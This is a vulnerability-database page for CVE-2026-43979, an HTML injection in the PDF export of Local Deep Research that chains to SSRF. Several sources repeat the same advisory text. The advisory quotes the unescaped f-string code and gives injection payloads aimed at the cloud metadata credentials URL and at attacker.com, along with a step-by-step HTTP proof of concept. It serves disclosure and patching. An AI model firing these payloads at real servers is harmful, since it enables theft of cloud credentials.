CVE-2026-43979
Local Deep Research: HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)
CVE-2026-43979 is a medium vulnerability (CVSS 5.0) in Learningcircuit Local-deep-research, published May 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in local-deep-research 1.6.0.
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.0
Local Deep Research: HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.
- Record
CVE-2026-43979- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-79, CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-32978
5.0
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.
- Record
EUVD-2026-32978- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-fj2m-qvh9-jq4q
5.0
local-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)
Summary
PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.
Details
Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176
# pdf_service.py:171-176
if title:
html_parts.append(f"<title>{title}</title>") # ← title is not escaped
if metadata:
for key, value in metadata.items():
html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped
Data flow trace:
User input: research.query
│
▼
research_routes.py:1321
pdf_title = research.title or research.query
│
▼
research_routes.py:1325-1326
export_report_to_memory(report_content, format, title=pdf_title)
│
▼
pdf_service.py:107
PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
│
▼
pdf_service.py:137
_markdown_to_html(markdown_content, title, metadata)
│
▼
pdf_service.py:172
f"<title>{title}</title>" ← injection point, no escaping
│
▼
pdf_service.py:112
HTML(string=html_content) ← WeasyPrint renders the injected HTML
research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.
Injection point 1: <title> tag breakout
Input: </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>
When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.
Injection point 2: <meta> attribute breakout
Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">
WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.
Proof of Concept
Step 1: Log in and submit a research query containing the injection payload
POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>
{
"query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
"mode": "quick",
"model_provider": "OLLAMA",
"model": "llama3"
}
The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".
Step 2: After the research completes, trigger PDF export
POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>
Step 3: Intermediate HTML constructed server-side
<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>
Step 4: WeasyPrint issues an outbound HTTP request to the injected URL
Observed in network monitoring (e.g. tcpdump) or the target internal service logs:
GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...
**Lightweight verification (no SSRF environment…
- Record
GHSA-fj2m-qvh9-jq4q- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-79, CWE-918
- Updated
- 2026-11-02
NVD
5.0
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.
- Record
CVE-2026-43979- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-79, CWE-918
- Updated
- 2026-11-02
OSV
5.0
Local Deep Research: HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.0, PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py. This vulnerability is fixed in 1.6.0.
- Record
CVE-2026-43979- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-79, CWE-918
- Updated
- 2026-11-02
OSVGHSA-fj2m-qvh9-jq4q
5.0
local-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)
Summary
PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.
Details
Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176
# pdf_service.py:171-176
if title:
html_parts.append(f"<title>{title}</title>") # ← title is not escaped
if metadata:
for key, value in metadata.items():
html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped
Data flow trace:
User input: research.query
│
▼
research_routes.py:1321
pdf_title = research.title or research.query
│
▼
research_routes.py:1325-1326
export_report_to_memory(report_content, format, title=pdf_title)
│
▼
pdf_service.py:107
PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
│
▼
pdf_service.py:137
_markdown_to_html(markdown_content, title, metadata)
│
▼
pdf_service.py:172
f"<title>{title}</title>" ← injection point, no escaping
│
▼
pdf_service.py:112
HTML(string=html_content) ← WeasyPrint renders the injected HTML
research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.
Injection point 1: <title> tag breakout
Input: </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>
When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.
Injection point 2: <meta> attribute breakout
Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">
WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.
Proof of Concept
Step 1: Log in and submit a research query containing the injection payload
POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>
{
"query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
"mode": "quick",
"model_provider": "OLLAMA",
"model": "llama3"
}
The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".
Step 2: After the research completes, trigger PDF export
POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>
Step 3: Intermediate HTML constructed server-side
<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>
Step 4: WeasyPrint issues an outbound HTTP request to the injected URL
Observed in network monitoring (e.g. tcpdump) or the target internal service logs:
GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...
**Lightweight verification (no SSRF environment…
- Record
GHSA-fj2m-qvh9-jq4q- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-79, CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-2610
5.0
local-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)
Summary
PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.
Details
Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176
# pdf_service.py:171-176
if title:
html_parts.append(f"<title>{title}</title>") # ← title is not escaped
if metadata:
for key, value in metadata.items():
html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped
Data flow trace:
User input: research.query
│
▼
research_routes.py:1321
pdf_title = research.title or research.query
│
▼
research_routes.py:1325-1326
export_report_to_memory(report_content, format, title=pdf_title)
│
▼
pdf_service.py:107
PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
│
▼
pdf_service.py:137
_markdown_to_html(markdown_content, title, metadata)
│
▼
pdf_service.py:172
f"<title>{title}</title>" ← injection point, no escaping
│
▼
pdf_service.py:112
HTML(string=html_content) ← WeasyPrint renders the injected HTML
research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.
Injection point 1: <title> tag breakout
Input: </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>
When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.
Injection point 2: <meta> attribute breakout
Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">
WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.
Proof of Concept
Step 1: Log in and submit a research query containing the injection payload
POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>
{
"query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
"mode": "quick",
"model_provider": "OLLAMA",
"model": "llama3"
}
The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".
Step 2: After the research completes, trigger PDF export
POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>
Step 3: Intermediate HTML constructed server-side
<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>
Step 4: WeasyPrint issues an outbound HTTP request to the injected URL
Observed in network monitoring (e.g. tcpdump) or the target internal service logs:
GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...
**Lightweight verification (no SSRF environment…
- Record
PYSEC-2026-2610- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
local-deep-researchPyPI |
before 1.6.0 | 1.6.0 |
local-deep-researchPyPI |
before 1.6.0, plus listed versions 0.1.00.1.10.1.120.1.130.1.14 Show 45 moreShow less0.1.150.1.160.1.170.1.180.1.190.1.200.1.210.1.220.1.230.1.240.1.250.1.260.2.00.2.20.2.30.3.00.3.10.3.100.3.110.3.120.3.20.3.30.3.50.3.60.3.80.3.90.4.00.4.10.4.20.4.30.4.40.5.00.5.20.5.30.5.40.5.50.5.60.5.70.5.90.6.00.6.10.6.40.6.50.6.71.0.0 |
1.6.0 |
History
| When | Changed | Sources |
|---|---|---|
| 2026-11-02 | created | CVE List, EUVD, GitHub Advisories, NVD, OSV |
References
github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-fj2m-qvh9-jq4q
github.com/LearningCircuit/local-deep-research/pull/3082
github.com/LearningCircuit/local-deep-research/pull/3613
github.com/LearningCircuit/local-deep-research/commit/0148fa265a3da460c07def7441f9ac49ea61fbcb
github.com/LearningCircuit/local-deep-research/commit/15f13d5c79847f1c38c2dc67bd0027c38af9e34b
nvd.nist.gov/vuln/detail/CVE-2026-43979
Left out here: 82 versions and the rest of 3 source descriptions. The JSON record has them.